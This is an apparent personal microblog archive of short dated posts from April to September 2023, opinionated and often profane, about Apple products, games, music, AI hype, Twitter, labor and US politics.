=> https://pluralistic.net/2023/09/21/eight-and-skate/ [1] https://pluralistic.net/2023/09/21/eight-and-skate/



### ╒═════╣▒ 09/18/2023 @13:04 ▒╟──────────┘
The fact that the Apple Watch has un-dismissable and un-disablable holiday and birthday notifications tells me that the product people at Apple have no friends. Who the hell wants this crap?  Having a parasocial relationship with an operating system is sad.


### ╒═════╣▒ 09/16/2023 @20:25 ▒╟──────────┘
«VV»¹ in Niagara Falls (with Dark Divine and Black Veil Brides)...  yeah, excellent pre-birthday evening!

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### ╒═════╣▒ 09/15/2023 @08:57 ▒╟──────────┘
One thing I will miss when I finally upgrade past macOS 10.15.7 is the fact that WebP images don't work in Safari.  I consider this to be a *feature*.  I may even write a Tampermonkey script to block WebP images just to continue to not subject myself to the onerous format.


### ╒═════╣▒ 09/14/2023 @20:34 ▒╟──────────┘
> The liberal version of intersectionalism observes a world run by 150 rich white men and resolves to replace half of them with women, queers and people of color. The leftist version seeks to abolish the system altogether. «https://pluralistic.net/2023/09/14/prop-22-never-again/»¹Brick by fucking brick.

=> https://pluralistic.net/2023/09/14/prop-22-never-again/ [1] https://pluralistic.net/2023/09/14/prop-22-never-again/



### ╒═════╣▒ 09/13/2023 @21:11 ▒╟──────────┘
Substack's 'SUBSCRIBE' modal popup is a war crime.


### ╒═════╣▒ 09/08/2023 @11:41 ▒╟──────────┘
Hell yes.«https://pluralistic.net/2023/09/06/goons-ginks-and-company-finks/»¹

=> https://pluralistic.net/2023/09/06/goons-ginks-and-company-finks/ [1] https://pluralistic.net/2023/09/06/goons-ginks-and-company-finks/



### ╒═════╣▒ 09/04/2023 @14:52 ▒╟──────────┘
«https://mastodon.social/@nocontexttrek/111007236638749003»¹Happy Labor Day!

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### ╒═════╣▒ 09/03/2023 @21:30 ▒╟──────────┘
The Good Omens fandom is a great example of why I refuse to be a "fan" of anything. I can't go near any of Neil Gaiman's Internet presences a year either side of any release of any Good Omens content...  It makes me physically ill at the thought of being associated with a fandom.


### ╒═════╣▒ 09/03/2023 @09:18 ▒╟──────────┘
Proof there are still wonders in the world.«https://archive.org/details/hypercard_neuroblast-cyberdelia»¹

=> https://archive.org/details/hypercard_neuroblast-cyberdelia [1] https://archive.org/details/hypercard_neuroblast-cyberdelia


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### ╒═════╣▒ 09/01/2023 @22:27 ▒╟──────────┘
Every time this crosses my path I snicker wistfully.

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### ╒═════╣▒ 09/01/2023 @16:45 ▒╟──────────┘
Just another day in the land of the free and the home of the brave... 🙄«https://www.npr.org/2023/09/01/1197169683/canada-issues-travel-advisory-warning-over-u-s-states-lgbtq-laws»¹

=> https://www.npr.org/2023/09/01/1197169683/canada-issues-travel-advisory-warning-over-u-s-states-lgbtq-laws [1] https://www.npr.org/2023/09/01/1197169683/canada-issues-travel-advisory-warning-over-u-s-states-lgbtq-laws


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## August
### ╒═════╣▒ 08/30/2023 @14:23 ▒╟──────────┘
> But on a recent 750-mile road trip in an EV, I had a revelation: We’re over-engineering our public charging infrastructure. If we want to speed up the electric car era, we should put aside the apps, doodads, and expensive fast chargers and embrace the cheap dumb plug.«https://heatmap.news/electric-vehicles/nema-14-50-mobile-charger-lucid-air»¹I keep saying that all this "*smart*" (it isn't) garbage is a useless waste of money and energy and an attempt to keep you continually re-buying things that would last 50+ years without a hitch if it wasn't for the *consumer electronics* shoved needlessly into it.

=> https://heatmap.news/electric-vehicles/nema-14-50-mobile-charger-lucid-air [1] https://heatmap.news/electric-vehicles/nema-14-50-mobile-charger-lucid-air



### ╒═════╣▒ 08/30/2023 @00:05 ▒╟──────────┘
A «drone lightshow»¹ is a pretty neat alternative to fireworks!  Looks like lots of promise for more interesting visuals than uh, circle, big circle, droopy circle, fountain, and explosion.

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### ╒═════╣▒ 08/24/2023 @16:14 ▒╟──────────┘
Chrome is such a piece of shit browser.  If you use it you should stop.


### ╒═════╣▒ 08/19/2023 @00:56 ▒╟──────────┘
Ghost and Amon Amarth were worth standing in the the drizzle!

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### ╒═════╣▒ 08/15/2023 @19:19 ▒╟──────────┘
I know it is hard.  Watching the poster-child of the cancer that is rotting away at our country being heaped with indictment after indictment but with any hope of punishment likely years away.  An entire election cycle away.  The wheels turn slowly.  Methodically.  Purposefully.  The machine gets its due, just not as fast as our attention spans demand.This is the trap, and this is how, through outrage fatigue and '*the new normal*' we forget and let the cancer kill us.We must remain vigilant.  We *must* vote.  If we can't at least do that then we don't *deserve* the republic.  It won't have failed us.  *We* will have failed *it*.> The greatest strength of a democratic republic is the citizen. Ironically, that's also its greatest weakness. It doesn't take much to bring down the mightiest Republic. You just have stop believing in it. > An imbalance between rich and poor is the oldest and most fatal ailment of all republics.― Plutarch«https://www.stonekettle.com/2023/08/baloney.html»¹

=> https://www.stonekettle.com/2023/08/baloney.html [1] https://www.stonekettle.com/2023/08/baloney.html



### ╒═════╣▒ 08/15/2023 @09:05 ▒╟──────────┘
Really cool look at the samples behind 50 years of hip-hop.  Iconic stuff through and through.  Bangers, all of them.«https://kottke.org/23/08/the-most-iconic-hip-hop-sample-of-every-year-1973-2023»¹

=> https://kottke.org/23/08/the-most-iconic-hip-hop-sample-of-every-year-1973-2023 [1] https://kottke.org/23/08/the-most-iconic-hip-hop-sample-of-every-year-1973-2023



### ╒═════╣▒ 08/14/2023 @21:24 ▒╟──────────┘
│ In-Reply-To: 08/14/2023 @21:16
Not that I'm any good at it -- especially on a keyboard... but the soundtrack still slaps.

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### ╒═════╣▒ 08/14/2023 @21:16 ▒╟──────────┘

	joy*«https://www.jwz.org/blog/2023/08/rewriting-wipeout/»¹


=> https://www.jwz.org/blog/2023/08/rewriting-wipeout/ [1] https://www.jwz.org/blog/2023/08/rewriting-wipeout/



### ╒═════╣▒ 08/14/2023 @21:15 ▒╟──────────┘
Good to see that the replacement for reddit is just as shallow a swamp as what it is trying to emulate.


### ╒═════╣▒ 08/14/2023 @20:39 ▒╟──────────┘
Thanks to the AI scumbags for making me put User-Agent matching rules back in Apache.  You are lucky I am less vindictive than I was when I had rules to screw with jerks who used images hosted on my server for their MySpace profiles or I would find the chunkiest uncompressed goatse that I could find to redirect your bots to.


### ╒═════╣▒ 08/12/2023 @23:07 ▒╟──────────┘
Katamari Damacy might be the perfect video game.I will not accept dissent on this.«https://wilwheaton.tumblr.com/post/725502507846107136/footlongdingledong-yorhaw-hi-im-op-of-the»¹(I can't seem to find a legitimate streaming source for it so you'll want to do the typey-typey into your favorite textbox to get *Katamari on the Rocks*)

=> https://wilwheaton.tumblr.com/post/725502507846107136/footlongdingledong-yorhaw-hi-im-op-of-the [1] https://wilwheaton.tumblr.com/post/725502507846107136/footlongdingledong-yorhaw-hi-im-op-of-the



### ╒═════╣▒ 08/12/2023 @22:00 ▒╟──────────┘
I shudder to think how many *days* of my life that I've spent listened to «this song»¹...

=> https://www.youtube.com/watch?v=CgAEMZBRGI0 [1] https://www.youtube.com/watch?v=CgAEMZBRGI0



### ╒═════╣▒ 08/11/2023 @20:06 ▒╟──────────┘
Once upon a time we made things that «looked awesome»¹.  Now everything is a soulless slab of black glass and we are poorer for it.«via»²

=> https://www.flickr.com/photos/gmaletic/albums/72157688760958876 [1] https://www.flickr.com/photos/gmaletic/albums/72157688760958876
=> https://kottke.org/23/08/striking-vintage-calculators [2] https://kottke.org/23/08/striking-vintage-calculators



### ╒═════╣▒ 08/10/2023 @15:02 ▒╟──────────┘
> Every generation these dirty rotten insane sons of bitches come again. The madness starts to rise up yet again. The barbarians are at the gate and the drums of war and revolution are beating loudly yet again.The madness must be stopped now while it's still possible. This time we have a chance to stop them before they burn the world down yet again. Before it's us, those of us lucky enough to survive, standing there among the bodies of our countrymen, wondering why somebody didn't stop it. We're that somebody. ...> You want a better nation? You want a better world? A better future? «Then you have to be a better citizen.»¹

=> https://www.stonekettle.com/2023/08/the-latter-days-of-better-nation-part-vi.html [1] https://www.stonekettle.com/2023/08/the-latter-days-of-better-nation-part-vi.html



### ╒═════╣▒ 08/06/2023 @10:31 ▒╟──────────┘
Just a random reminder — technology is a *tool*, a *force multiplier*, never a solution.  This is true of *all* technology.  The computer is the same as a knife.  Solutions only come from one place — human creativity.  We are seeing venture capitalists and marketeers foam at the mouth about AI but it's important to remember it's actually neither of those things.  Humanity created a vast catalog of stuff and made it accessible via a global information storage and retrieval network and then some dorks came by and hoovered it all up to plug in to their remix robots (put another way, into their copyright laundering machines).  Out churns things that almost, if you squint right, nearly resemble something someone might have made and so they wave their hands and exclaim they have created a thing that can create.  The vultures circled and the *grift* began.  The flow of money from the marks to the grifters is now predicated on people believing that the hype that AI is here, it works, and it's coming for our jobs.  There is no technical solution for this grift but I hear there are some cozy prison cells available that would fit the grifters.


## July
### ╒═════╣▒ 07/28/2023 @10:22 ▒╟──────────┘
> Private equity is a cancer. Its profits come from buying productive firms, loading them with debt, abusing their suppliers, workers and customers, and driving them into ground, stiffing all of them – and the company's creditors. The mafia have a name for this. They call it a "bust out":«https://pluralistic.net/2023/07/20/continuation-fraud/#buyout-groups»¹We really need regulation and enforcement to come in and toss these parasites into a chipper shredder as an example for others.

=> https://pluralistic.net/2023/07/20/continuation-fraud/#buyout-groups [1] https://pluralistic.net/2023/07/20/continuation-fraud/#buyout-groups



### ╒═════╣▒ 07/28/2023 @09:33 ▒╟──────────┘
You love to see it.«https://neil-gaiman.tumblr.com/post/723914574817017857»¹I have a hard time believing anyone has ever told Spare Karen the man-child *no* in his life.«https://sfstandard.com/2023/07/24/twitter-sign-being-removed-downtown-san-francisco-office-x/»²Somehow he has people convinced that he's not only capable of chewing his own food unprompted but that he's a *genius*.

=> https://neil-gaiman.tumblr.com/post/723914574817017857 [1] https://neil-gaiman.tumblr.com/post/723914574817017857
=> https://sfstandard.com/2023/07/24/twitter-sign-being-removed-downtown-san-francisco-office-x/ [2] https://sfstandard.com/2023/07/24/twitter-sign-being-removed-downtown-san-francisco-office-x/


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### ╒═════╣▒ 07/25/2023 @22:46 ▒╟──────────┘
Apropos of everything...

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### ╒═════╣▒ 07/19/2023 @18:02 ▒╟──────────┘
This is amazing.  I love everything about it.«https://www.tumblr.com/theclueofthebrokenneedle/722758344968912896/this-is-my-pride-and-joy-a-gift-for-my-dad-who»¹

=> https://www.tumblr.com/theclueofthebrokenneedle/722758344968912896/this-is-my-pride-and-joy-a-gift-for-my-dad-who [1] https://www.tumblr.com/theclueofthebrokenneedle/722758344968912896/this-is-my-pride-and-joy-a-gift-for-my-dad-who



### ╒═════╣▒ 07/17/2023 @17:10 ▒╟──────────┘
I think that the reason we all need to be vigilant of the regulation that is going to spring up around AI (which of course is *neither* artificial nor is it intelligence) is because it has the potential to be a conduit for un-attributed and un-paid transfer of copyrights from millions of authors, actors, and artists of all stripe into the hands of the companies that own the software.  It's already happening and if history has taught us anything with the current state of US copyrights, the entertainment industry is already hard at work setting it up so it will continue to happen.AI isn't here to take your job.  Capitalists are already doing that part far more efficiently.


### ╒═════╣▒ 07/11/2023 @14:38 ▒╟──────────┘
> «https://pluralistic.net/2023/07/10/thanks-obama/»¹*Please*, in my lifetime, let's have some of *this,* my dear Democrats*.*  I'm tired of losing even though we've *won*... *over and over again*.

=> https://pluralistic.net/2023/07/10/thanks-obama/ [1] https://pluralistic.net/2023/07/10/thanks-obama/



### ╒═════╣▒ 07/10/2023 @21:35 ▒╟──────────┘
More and more I find myself using the *Whats New* list for each new version of Apple's software as a list of *shit to figure out how to turn the fuck off*.


### ╒═════╣▒ 07/10/2023 @14:12 ▒╟──────────┘
Watch this «https://www.youtube.com/watch?v=B1J6Ou4q8vE»¹, then if you are like me and only get bits an pieces of it, watch this  «https://www.youtube.com/watch?v=igDeXHS5kUU»²«via»³ 

=> https://www.youtube.com/watch?v=B1J6Ou4q8vE [1] https://www.youtube.com/watch?v=B1J6Ou4q8vE
=> https://www.youtube.com/watch?v=igDeXHS5kUU [2] https://www.youtube.com/watch?v=igDeXHS5kUU
=> https://waxy.org/2023/07/animation-vs-math/ [3] https://waxy.org/2023/07/animation-vs-math/



### ╒═════╣▒ 07/05/2023 @09:31 ▒╟──────────┘
Looks like Apartheid Emerald Mine Edge Lord Man has hidden his new toy behind a login-required screen so I finally shut off my Twitter to RSS gateway.  It can join the Instagram to RSS feed gateway in the dustbin.


### ╒═════╣▒ 07/04/2023 @10:28 ▒╟──────────┘
│ In-Reply-To: 06/27/2023 @16:57
«d2dx»¹ is a really simple to install and nice upscaler for Diablo II: Lord of Destruction.  If you're using the downloaded version of the game you need a «simple fix»² to make it work.It does break taking screenshots using the in-game bind, but Windows+Print Screen works just fine.

=> https://github.com/bolrog/d2dx [1] https://github.com/bolrog/d2dx
=> https://github.com/bolrog/d2dx/issues/160 [2] https://github.com/bolrog/d2dx/issues/160


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### ╒═════╣▒ 07/03/2023 @17:01 ▒╟──────────┘
│ In-Reply-To: 06/27/2023 @16:57
I'm not going to lie, it's been so long I forgot the opening area of Diablo 2...

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## June
### ╒═════╣▒ 06/27/2023 @16:57 ▒╟──────────┘
In preparation for playing Diablo IV, I'm re-playing all of the previous Diablos.I almost want to pull out my 17" CRT, the upscaling is a little bit rough on «Diablo I»¹.

=> https://www.gog.com/en/game/diablo [1] https://www.gog.com/en/game/diablo


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### ╒═════╣▒ 06/25/2023 @12:42 ▒╟──────────┘
Maybe the wasteland of commercial real estate, upon mass bankruptcy, will be fertile soil in which we will sew affordable housing.One can hope.

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### ╒═════╣▒ 06/21/2023 @16:59 ▒╟──────────┘
I will absolutely NOT ever use my mobile device to «drive critical systems»¹ of the multi-ton death machine that I pilot around.  You can fuck all the way off, Apple.

=> https://www.macrumors.com/guide/ios-17-carplay/ [1] https://www.macrumors.com/guide/ios-17-carplay/



### ╒═════╣▒ 06/12/2023 @20:05 ▒╟──────────┘
So disappointed that the new 15" MacBook Air will only support a single external display, I guess I'll have to find a used 16" MacBook Pro instead.


### ╒═════╣▒ 06/10/2023 @23:29 ▒╟──────────┘
│ In-Reply-To: 06/06/2023 @22:30
To be fair, this is true about all of Apple's products.

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### ╒═════╣▒ 06/09/2023 @11:20 ▒╟──────────┘
Cyan sure knows how to tell a story and set a mood.  Glad I backed «this»¹.

=> https://www.gog.com/game/firmament [1] https://www.gog.com/game/firmament


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### ╒═════╣▒ 06/06/2023 @22:30 ▒╟──────────┘
│ In-Reply-To: 05/20/2023 @09:33
Please tell me that people don't actually think this looks cool...  what kind of absolute chud would wear this???«Via»¹

=> https://www.macrumors.com/2023/06/05/apple-reveals-vision-pro-headset/ [1] https://www.macrumors.com/2023/06/05/apple-reveals-vision-pro-headset/


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## May
### ╒═════╣▒ 05/26/2023 @09:34 ▒╟──────────┘
Oooh!  The «Bunny X album»¹ dropped today!

=> https://music.apple.com/us/album/love-minus-80/1683527512 [1] https://music.apple.com/us/album/love-minus-80/1683527512


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### ╒═════╣▒ 05/23/2023 @20:06 ▒╟──────────┘
«https://www.youtube.com/watch?v=A48XXWvwMzE»¹

=> https://www.youtube.com/watch?v=A48XXWvwMzE [1] https://www.youtube.com/watch?v=A48XXWvwMzE



### ╒═════╣▒ 05/20/2023 @12:04 ▒╟──────────┘
"AI", 2023's version of the crypto grift.  At least it seems to use slightly less energy to separate idiots from their capital.> These guys are pumping their upcoming dump, and all the biggest disaster-stories are part of the scam: "AI will become sentient" and "AI will do your job as well as you" are both statements whose primary purpose is to increase the value of the stock in companies making "AI" technology (neither "artificial" nor you get the idea).I mean, sure, our bosses will fire our asses and replace us with shell-scripts, but they don't need *working* AI to do that – no more than they needed working voice response systems to replace human operators. They just enshittify their products and services, and do it under cover of chasing amazing new technology, and reap the stock gains bequeathed by keyword-drunk investors.«via»¹

=> https://pluralistic.net/2023/05/20/the-missing-links/#plunderphonics [1] https://pluralistic.net/2023/05/20/the-missing-links/#plunderphonics



### ╒═════╣▒ 05/20/2023 @09:33 ▒╟──────────┘
So Google couldn't get 'Glass' off the ground -- except maybe to end up inspiring the term '«glasshole»¹' but maybe Apple can do it this time.. by making you look even stupider.I know there are people who will buy this because Apple under Tim Cook is first and foremost a fashion company but I can't help but feel that this is smells a lot like the metaverse and Zuck -- some out of touch billionaire's pet project that wasn't allowed to go to a farm upstate.

=> https://www.penny-arcade.com/comic/2013/06/14/glasshole [1] https://www.penny-arcade.com/comic/2013/06/14/glasshole


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### ╒═════╣▒ 05/13/2023 @10:27 ▒╟──────────┘
If Jack Dorsey isn't enough of a reason to avoid Bluesky the lack of any public facing web interface is enough of a Warning of Things To Come.


### ╒═════╣▒ 05/10/2023 @19:49 ▒╟──────────┘
It's pretty amazing to see the progression of the Enterprise bridges and I mean, how can you resist John de Lance's narration?«https://kottke.org/23/05/tour-the-bridges-of-all-of-star-treks-starships-enterprise»¹

=> https://kottke.org/23/05/tour-the-bridges-of-all-of-star-treks-starships-enterprise [1] https://kottke.org/23/05/tour-the-bridges-of-all-of-star-treks-starships-enterprise



### ╒═════╣▒ 05/07/2023 @17:34 ▒╟──────────┘
Why can't I delete this?  Is there anyplace in this amateur hour dystopian hellscape ecosystem that I can escape advertising?

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### ╒═════╣▒ 05/06/2023 @19:56 ▒╟──────────┘
> That's what unions get you: a good job that might be hard at times, and the costs of your work are borne by the employer who profits from your labor. «The dream is alive»¹.

=> https://pluralistic.net/2023/05/06/people-are-not-disposable/#union-strong [1] https://pluralistic.net/2023/05/06/people-are-not-disposable/#union-strong



### ╒═════╣▒ 05/05/2023 @16:11 ▒╟──────────┘
I would love a behind the scenes podcast for whatever the hell is going on in «today's Penny Arcade»¹ because I'm very here for it.

=> https://www.penny-arcade.com/comic/2023/05/05/wheel-saint [1] https://www.penny-arcade.com/comic/2023/05/05/wheel-saint



### ╒═════╣▒ 05/03/2023 @18:55 ▒╟──────────┘

	Everyone* deserves to be paid fairly and honestly for their labor.  Art goes a long way to making this world a place worth living in and there would be a *lot* less art in this world without «writers»¹.


=> https://www.wgacontract2023.org [1] https://www.wgacontract2023.org


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## April
### ╒═════╣▒ 04/29/2023 @11:33 ▒╟──────────┘
Dear the idiots over at Wired, *why on EARTH* did you break right click -> Copy Link?  Are you monsters?  Incompetent?  Incompetent monsters?

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### ╒═════╣▒ 04/28/2023 @11:56 ▒╟──────────┘
Saw «this»¹ talking about some new alternative to ActivityPub/Mastodon.  ActivityPub is a mess for sure but I don't think Nostr is any better.  Dries tries to argue that it is, but I disagree.> Migrating to a different Mastodon server can be challenging, as your username is tied to the domain name of the current Mastodon server. However, this is not a problem in Nostr, as users are identified using a unique public key rather than a domain name.*Every* other attempt at this has proven that *no-one *wants to manage public keys much less be known as some random hex string so the *only* option is going to be being identified by some name and unless you have a single source of truth controlling name to key assignments you will *HAVE* to have some sort of domain scope which means that outside of technical pedantry there is no difference. > *Nostr has Zaps, which is potentially game-changing* — ActivityPub lacks an equivalent of Zaps, which could make it harder to address funding issues and combat spam. More on that in the next section.> A Zap is essentially a micropayment made using Bitcoin's Lightning network. Although Nostr itself does not use blockchain technology, it enables each message or event to contain a "Zap request" or "Zap invoice" (receipt). In other words, Nostr has optional blockchain integration for micropayment support.Ah, optional *scumbag web* integration, because the user experience is going to be made so much better by hanging a failed money laundering scheme on the side.

=> https://dri.es/nostr-love-at-first-sight [1] https://dri.es/nostr-love-at-first-sight



### ╒═════╣▒ 04/27/2023 @18:41 ▒╟──────────┘
I am *entirely* *uninterested* in "podcasts" that are not delivered via RSS feeds.I have «written software»¹ to this end.

=> https://www.going-flying.com/code.html#youtube-podcast [1] https://www.going-flying.com/code.html#youtube-podcast



### ╒═════╣▒ 04/26/2023 @19:36 ▒╟──────────┘
│ In-Reply-To: 04/26/2023 @18:24
Brain damage like this is why I wanted to be logged out of Books.app, I do not want suggestions^W advertising in an app I paid for, in a view of the things I paid for. Everyone at Apple is just bad at their jobs these days. 


### ╒═════╣▒ 04/26/2023 @18:32 ▒╟──────────┘
│ In-Reply-To: 04/26/2023 @18:24
Ah, it's one of those UX dark patterns I keep hearing about.  Going to Settings -> Sign in makes you sign in to iCloud but going to App Store -> Picture Circle Thing -> Account -> Sign in will allow you to *choose* not to also sign into iCloud.  Of course it also signs back into Books.app which was what I tried to get out of that caused all this.Books.app is garbage, Music.app is garbage, Podcasts.app is garbage.  Really the entire Apple ecosystem is just a giant steaming pile of awful but it's better than the literal one alternative so fuck me I guess.


### ╒═════╣▒ 04/26/2023 @18:24 ▒╟──────────┘
In further «enshittification»¹ of Apple news, signing out of Books.app signed me out of my *whole ass* iPhone and now I can't sign back in without allowing iCloud to hoover all my private data?  What an absolute clown show this company has turned into.

=> https://pluralistic.net/2023/01/21/potemkin-ai/#hey-guys [1] https://pluralistic.net/2023/01/21/potemkin-ai/#hey-guys



### ╒═════╣▒ 04/23/2023 @20:19 ▒╟──────────┘
I've been a The Adventure Zone fan for «like 5 years now»¹.  Each adventure has been unique and fun and engaging in their own way.  The latest season "Steeplechase" has felt a little wayward getting started — it uses a rather novel game system, but man «episode 24»² went completely off the rails in the way that most T.A.Z. adventures inevitably go.  I was laughing out loud the whole way through.Such a great show.(Steeplechase starts «here»³, «whole show»⁴ starts «here»⁵)

=> https://www.going-flying.com/blog/the-adventure-zone-is-amazing.html [1] https://www.going-flying.com/blog/the-adventure-zone-is-amazing.html
=> https://maximumfun.org/episodes/adventure-zone/the-adventure-zone-steeplechase-episode-24/ [2] https://maximumfun.org/episodes/adventure-zone/the-adventure-zone-steeplechase-episode-24/
=> https://maximumfun.org/episodes/adventure-zone/setup-the-adventure-zone-steeplechase/ [3] https://maximumfun.org/episodes/adventure-zone/setup-the-adventure-zone-steeplechase/
=> https://maximumfun.org/podcasts/adventure-zone/ [4] https://maximumfun.org/podcasts/adventure-zone/
=> https://maximumfun.org/episodes/adventure-zone/ep-1-here-there-be-gerblins-chapter-one/ [5] https://maximumfun.org/episodes/adventure-zone/ep-1-here-there-be-gerblins-chapter-one/


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### ╒═════╣▒ 04/22/2023 @10:38 ▒╟──────────┘
│ In-Reply-To: 04/22/2023 @10:25
> "everyone has always Hated twitter, even before the day elon dragged a sink into the main office while grinning like a doofus," @dril explained. "nobody respects it, it is almost certainly responsible for a sharp increase in overall human misery, and if my brand must suffer so that this entire Shit hole will perish, that is fine to me."«https://mashable.com/article/block-the-blue-twitter-campaign-dril»¹

=> https://mashable.com/article/block-the-blue-twitter-campaign-dril [1] https://mashable.com/article/block-the-blue-twitter-campaign-dril



### ╒═════╣▒ 04/22/2023 @10:25 ▒╟──────────┘
Just a quick reminder that the JSON object returned by the https://twitter.com/i/api/graphql/[nonce]/UserByScreenName call includes the following useful fields:*data.user.result.is_blue_verified*, *data.user.result.legacy.verified*, and *None*It also looks like they quietly switched *has_nft_avatar* to *profile_image_shape*.*None*Let's just say I have updated my RSS feed generator... accordingly.


### ╒═════╣▒ 04/19/2023 @10:54 ▒╟──────────┘
«based»¹.

=> https://wilwheaton.tumblr.com/post/715014904638275584 [1] https://wilwheaton.tumblr.com/post/715014904638275584


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### ╒═════╣▒ 04/18/2023 @09:47 ▒╟──────────┘
I'm not going to lie, watching Rusty try to make iTunes^WMusic.app work in Ventura has both made me fear for the day my 2015 Retina MacBook Pro finally dies and I have to upgrade to something more modern than Catalina *AND *feel seen as fuck in my abusive relationship with Apple products (I'd leave if I could but...).«via»¹

=> https://defcon.social/@SomaFMrusty/110218532074987680 [1] https://defcon.social/@SomaFMrusty/110218532074987680


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### ╒═════╣▒ 04/09/2023 @12:49 ▒╟──────────┘
From: «https://pluralistic.net/2023/04/08/late-stage-sea-monkeys/#jeremys-razors»¹> Remember when Apple created an opt *out* button for tracking, more than 94 percent of users clicked it (the people who clicked "yes" to "can Facebook spy on you?" were either Facebook employees, or confused):«https://www.cnbc.com/2022/02/02/facebook-says-apple-ios-privacy-change-will-cost-10-billion-this-year.html»²Ad-targeting enables a host of evils, like paid political disinformation. It also leads to more expensive, lower-quality goods. "A Raw Deal For Consumers," Sumit Sharma's new *Consumer Reports* paper, catalogs the many other costs imposed on Americans due to the lack of tech regulation:«https://advocacy.consumerreports.org/wp-content/uploads/2023/04/A-Raw-Deal-for-US-Consumers_March-2023.pdf»³Sharma describes the benefits that Europeans will shortly enjoy thanks to the EU's Digital Markets Act and Digital Services Act, from lower prices to more privacy to more choice, from cloud gaming on mobile devices to competing app stores.[...]> Passing a federal privacy law would end surveillance advertising at the stroke of a pen, shifting the market to context ads that let publishers, not platforms, call the shots. As an added bonus, the law would stop Tiktok from spying on Americans, and also end Google, Facebook, Apple and Microsoft's spying to boot:«https://pluralistic.net/2023/03/30/tik-tok-tow/#good-politics-for-electoral-victories»⁴

=> https://pluralistic.net/2023/04/08/late-stage-sea-monkeys/#jeremys-razors [1] https://pluralistic.net/2023/04/08/late-stage-sea-monkeys/#jeremys-razors
=> https://www.cnbc.com/2022/02/02/facebook-says-apple-ios-privacy-change-will-cost-10-billion-this-year.html [2] https://www.cnbc.com/2022/02/02/facebook-says-apple-ios-privacy-change-will-cost-10-billion-this-year.html
=> https://advocacy.consumerreports.org/wp-content/uploads/2023/04/A-Raw-Deal-for-US-Consumers_March-2023.pdf [3] https://advocacy.consumerreports.org/wp-content/uploads/2023/04/A-Raw-Deal-for-US-Consumers_March-2023.pdf
=> https://pluralistic.net/2023/03/30/tik-tok-tow/#good-politics-for-electoral-victories [4] https://pluralistic.net/2023/03/30/tik-tok-tow/#good-politics-for-electoral-victories



### ╒═════╣▒ 04/08/2023 @12:32 ▒╟──────────┘
Hard same.  I have cameras that are isolated on a firewalled VLAN that can only be accessed from two trusted VLANs or via a mutually authenticated VPN.  The system ALSO requires authentication handled by an on-network LDAP directory.  All recordings are stored locally and are automatically purged after a short retention period.  No video ever leaves my control and yet I have no cameras inside the house (there is one inside a detached garage).«🧵 Tweet from @realsexycyborg»¹«Apr 7, 2023 at 11:08»²> «https://twitter.com/SwiftOnSecurity/status/1644352128738000897/»³It's been my conclusion no cameras inside the house unless you use a completely isolated physical system. I use use cloud wireless cameras, but the closest they get to inside is the garage on a mount I can flip-up. Hiding customer data from sysadmins is really really hard.Same. Treat all cameras as globally accessible windows. Don't do anything in front of them you would not want seen on the nightly news. Don't place them in locations where deepfaked video of you doing something you did not would be credible or hard to refute."I don't do anything interesting in my livingroom anyway" With a few hours of actual footage from your livingroom to work with, someone can make credible video of you doing almost anything they want these days. And you get to explain that yes the video is real but you didn't…

=> https://twitter.com/realsexycyborg/status/1644355420885237763 [1] https://twitter.com/realsexycyborg/status/1644355420885237763
=> https://twitter.com/realsexycyborg/status/1644355420885237763 [2] https://twitter.com/realsexycyborg/status/1644355420885237763
=> https://twitter.com/SwiftOnSecurity/status/1644352128738000897/ [3] https://twitter.com/SwiftOnSecurity/status/1644352128738000897/



### ╒═════╣▒ 04/06/2023 @22:58 ▒╟──────────┘
> However, when Elon Musk was told about the New York Times announcing it would not pay, he not only ordered the removal of its verification mark, but also declared that the newspaper was being "incredible hypocritical" for charging for subscriptions for the newspaper yet not giving Twitter any money."Give me your product for free and pay me to promote it" whines impotent billionaire edgelord...«https://twitterisgoinggreat.com/#elon-musk-removes-nyts-verified-mark-for-not-paying-him-money»¹

=> https://twitterisgoinggreat.com/#elon-musk-removes-nyts-verified-mark-for-not-paying-him-money [1] https://twitterisgoinggreat.com/#elon-musk-removes-nyts-verified-mark-for-not-paying-him-money



### ╒═════╣▒ 04/06/2023 @19:51 ▒╟──────────┘
│ In-Reply-To: 04/06/2023 @17:49
«https://pluralistic.net/2023/04/06/clarence-thomas/#harlan-crow»¹

=> https://pluralistic.net/2023/04/06/clarence-thomas/#harlan-crow [1] https://pluralistic.net/2023/04/06/clarence-thomas/#harlan-crow



### ╒═════╣▒ 04/06/2023 @18:00 ▒╟──────────┘
From the *never-going-to-own-one-of-these* department:> Two ex-employees said they weren’t bothered by the sharing of images, saying that customers had given their consent or that *people long ago had given up any reasonable expectation of keeping personal data private*. Three others, however, said they were troubled by it.«https://www.reuters.com/technology/tesla-workers-shared-sensitive-images-recorded-by-customer-cars-2023-04-06/»¹I can't tell you how *incandescently* furious this kind of stuff makes me.  Techbro culture is frustratingly sheltered, full of privilege, and thoroughly toxic.

=> https://www.reuters.com/technology/tesla-workers-shared-sensitive-images-recorded-by-customer-cars-2023-04-06/ [1] https://www.reuters.com/technology/tesla-workers-shared-sensitive-images-recorded-by-customer-cars-2023-04-06/



### ╒═════╣▒ 04/06/2023 @17:49 ▒╟──────────┘
│ In-Reply-To: 04/06/2023 @12:51
It just goes to show how unconscionable it is to have a group of lifetime *appointees, *confirmed by legislators, who were elected from gerrymandered districts that don't even represent a plurality of their own constituents much less a significant fraction of Americans act as a check on both legislative *and* executive power in this country.While we can take comfort in the fact that history will judge these people harshly, that doesn't assuage the actual suffering they have wrought today.  We need reform now.


### ╒═════╣▒ 04/06/2023 @12:51 ▒╟──────────┘
«https://twitter.com/aoc/status/1643974216696442880»¹This is beyond party or partisanship. This degree of corruption is shocking - almost cartoonish. Thomas must be impeached. Barring some dramatic change, this is what the Roberts court will be known for: rank corruption, erosion of democracy, and the stripping of human rights.> «Tweet from @eisingerj»²NEW BLOCKBUSTER: Private jet travel. Superyacht Island-hopping. Stays at a private resort. For decades, Justice Clarence Thomas accepted luxury gifts from a billionaire. Appears he broke the law.«@js_kaplan»³ & «@JustinElliott»⁴: «https://www.propublica.org/article/clarence-thomas-scotus-undisclosed-luxury-travel-gifts-crow»⁵

=> https://twitter.com/aoc/status/1643974216696442880 [1] https://twitter.com/aoc/status/1643974216696442880
=> https://twitter.com/eisingerj/status/1643917645157216257/ [2] https://twitter.com/eisingerj/status/1643917645157216257/
=> https://twitter.com/js_kaplan [3] https://twitter.com/js_kaplan
=> https://twitter.com/JustinElliott [4] https://twitter.com/JustinElliott
=> https://www.propublica.org/article/clarence-thomas-scotus-undisclosed-luxury-travel-gifts-crow [5] https://www.propublica.org/article/clarence-thomas-scotus-undisclosed-luxury-travel-gifts-crow


